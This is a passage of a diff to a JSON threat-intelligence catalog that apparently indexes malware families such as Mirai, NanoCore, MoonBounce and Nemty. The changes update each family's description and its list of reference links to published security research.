"https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", + "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html", + "https://www.infinitumit.com.tr/apt-35/", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://github.com/gentilkiwi/mimikatz", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", + "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", + "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", + "https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/", "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/", - "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", - "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", "https://www.accenture.com/us-en/blogs/security/ransomware-hades", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", - "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", + "https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware" ], "synonyms": [], @@ -24673,6 +29346,19 @@ "uuid": "588fb91d-59c6-4667-b299-94676d48b17b", "value": "MimiKatz" }, + { + "description": "Ransomware, potential rebranding of win.sfile.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware", + "https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cfd0ab21-12e6-4c95-acc7-a8f488ed1706", + "value": "Mindware" + }, { "description": "", "meta": { @@ -24760,10 +29446,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai", + "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", "https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/", - "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", + "https://twitter.com/PhysicalDrive0/status/830070569202749440", "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://twitter.com/PhysicalDrive0/status/830070569202749440" + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot/", + "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html" ], "synonyms": [], "type": [] @@ -24776,8 +29467,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast", + "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", "https://www.proofpoint.com/us/daily-ruleset-update-summary-20210924", - "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/" + "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/", + "https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies", + "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/" ], "synonyms": [], "type": [] @@ -24813,6 +29507,19 @@ "uuid": "b4c33277-ec15-4bb3-89ef-314ecfa100da", "value": "Misfox" }, + { + "description": "Undocumented information stealer targeting multiple browsers and cryptocurrences. Internal project name appears to be \"misha\".", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha", + "https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3f32d0bf-61b9-495b-88ca-77f4a254336d", + "value": "Misha" + }, { "description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald’s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.", "meta": { @@ -24835,6 +29542,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistyveal", + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", "https://www.epicturla.com/previous-works/hitb2020-voltron-sta" ], "synonyms": [], @@ -24855,6 +29563,21 @@ "uuid": "4c786624-4a55-46e6-849d-b65552034235", "value": "Miuref" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon", + "http://reversing.fun/posts/2022/01/02/mmon.html" + ], + "synonyms": [ + "Kaptoxa" + ], + "type": [] + }, + "uuid": "a6d12f4f-57f6-4873-9c68-e079fef5e5fb", + "value": "MMON" + }, { "description": "", "meta": { @@ -25027,6 +29750,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner", + "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", "https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/" ], @@ -25053,6 +29777,22 @@ "uuid": "8a6013a1-5e5c-41f5-bd8e-c86ea7f108d9", "value": "MontysThree" }, + { + "description": "MoonBounce is a malware embedded into a modified UEFI firmware. Placed into SPI flash, it can provide persistence across full reinstall and even disk replacements. MoonBounce deploys user-mode malware through in-memory staging with a small footprint.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce", + "https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html", + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://habr.com/ru/amp/post/668154/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "04ce84dc-f471-48b6-8456-348cd85af39f", + "value": "MoonBounce" + }, { "description": "", "meta": { @@ -25071,9 +29811,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://twitter.com/Timele9527/status/1272776776335233024", - "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#" + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], "type": [] @@ -25157,21 +29901,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", "https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/", "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", "https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/", "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", - "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", + "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", + "https://blogs.blackberry.com/en/2021/11/zebra2104", "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", "https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker", - "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/" + "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/" ], "synonyms": [], "type": [] @@ -25220,6 +29969,19 @@ "uuid": "2363dc9f-822a-4581-8d5f-1fc436e70621", "value": "MPKBot" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac", + "https://id-ransomware.blogspot.com/2021/12/mrac-ransomware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3eee33df-76c5-4962-ac35-b0d98c37a81a", + "value": "MRAC" + }, { "description": "Ransomware.", "meta": { @@ -25280,6 +30042,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group" ], @@ -25343,11 +30106,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", + "https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/", "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf", - "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" + "https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf", + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html" ], "synonyms": [], "type": [] @@ -25489,14 +30253,21 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore", "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://blog.morphisec.com/syk-crypter-discord", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://community.riskiq.com/article/24759ad2", "https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", "https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/", "https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/", "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://community.riskiq.com/article/ade260c6", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", @@ -25508,7 +30279,10 @@ "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918", "https://goggleheadedhacker.com/blog/post/11", "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/", @@ -25520,6 +30294,7 @@ "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/elfin-indictments-iran-espionage", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://intel471.com/blog/privateloader-malware", "https://malwareindepth.com/defeating-nanocore-and-cypherit/", "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", @@ -25619,7 +30394,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nebulae", "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "https://twitter.com/SyscallE/status/1390339497804636166", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos" + "https://www.securityweek.com/chinese-cyberspies-target-military-organizations-asia-new-malware", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://www.bleepingcomputer.com/news/security/cyberspies-target-military-organizations-with-new-nebulae-backdoor/" ], "synonyms": [], "type": [] @@ -25636,10 +30413,12 @@ "https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features", "http://www.secureworks.com/research/threat-profiles/gold-riverview", "http://blog.talosintelligence.com/2017/03/necurs-diversifies.html", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", "https://www.secureworks.com/research/threat-profiles/gold-riverview", @@ -25647,7 +30426,7 @@ "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://blogs.microsoft.com/on-the-issues/2020/03/10/necurs-botnet-cyber-crime-disrupt/", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/", "https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/", "https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/" ], @@ -25679,15 +30458,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim", "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/", + "https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", "https://www.trendmicro.com/en_us/research/21/b/nefilim-ransomware.html", - "https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks", + "https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", "https://securelist.com/evolution-of-jsworm-ransomware/102428/", "https://documents.trendmicro.com/assets/white_papers/wp-modern-ransomwares-double-extortion-tactics.pdf", "https://www.cert.govt.nz/it-specialists/advisories/active-ransomware-campaign-leveraging-remote-access-technologies/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", "https://www.trendmicro.com/en_us/research/21/f/nefilim-modern-ransomware-attack-story.html", "http://www.secureworks.com/research/threat-profiles/gold-mansard", "https://blog.qualys.com/vulnerabilities-research/2021/05/12/nefilim-ransomware", @@ -25700,6 +30480,7 @@ "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", @@ -25735,6 +30516,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty", "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", + "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/", "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", @@ -25747,15 +30529,18 @@ "https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/", "http://www.secureworks.com/research/threat-profiles/gold-mansard", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", + "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", "https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", - "https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b", "https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html", "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", + "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", "https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/" + "https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b" ], "synonyms": [], "type": [] @@ -25763,6 +30548,19 @@ "uuid": "465696be-d576-4750-9469-89e19984f3df", "value": "Nemty" }, + { + "description": "Proofpoint observed distribution of this RAT since late April 2022, it is written on Go and incorporates code from various open-source Git repositories.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nerbian_rat", + "https://www.proofpoint.com/us/blog/threat-insight/nerbian-rat-using-covid-19-themes-features-sophisticated-evasion-techniques" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3dba4da9-7fe0-4b12-a0ed-c55065b87481", + "value": "Nerbian RAT" + }, { "description": "Neshta is a 2005 Belarusian file infector virus . The name of the virus comes from the Belarusian word \"nesta\" meaning \"something.\" The program is a Windows application (exe file). Written in Delphi . The size of the original malicious file is 41,472 bytes . This file virus is the type of virus that is no longer popular at present.", "meta": { @@ -25770,6 +30568,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta", "https://www.virusradar.com/en/Win32_Neshta.A/description", "https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html" ], "synonyms": [], @@ -25808,6 +30607,19 @@ "uuid": "0bc03bfa-1439-4162-bb33-ec9f8f952ee5", "value": "NetC" }, + { + "description": "A RAT written in .NET, delivered with a driver to protect it from deletion. Observed being dropped by PrivateLoader.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.netdooka", + "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dc6f887b-0c35-471f-9b18-2bf0a4ff357a", + "value": "NetDooka" + }, { "description": "", "meta": { @@ -25830,11 +30642,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter", - "https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/", "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", - "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/", + "https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf", + "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users", + "https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/", "https://www.intezer.com/blog/malware-analysis/fast-insights-for-a-microsoft-signed-netfilter-rootkit/", - "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users" + "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html" ], "synonyms": [], "type": [] @@ -25882,7 +30696,7 @@ "value": "Netrepser" }, { - "description": "", + "description": "Enigma Software notes that NetSupport Manager is a genuine application, which was first released about twenty years ago. The purpose of the NetSupport Manager tool is to enable users to receive remote technical support or provide remote computer assistance. However, cyber crooks have hijacked this useful application and misappropriated it to use it in their harmful campaigns. The name of the modified version of the NetSupport Manager has been labeled the NetSupport Manager RAT.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat", @@ -25890,8 +30704,12 @@ "https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", + "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", - "http://www.netsupportmanager.com/index.asp" + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", + "http://www.netsupportmanager.com/index.asp", + 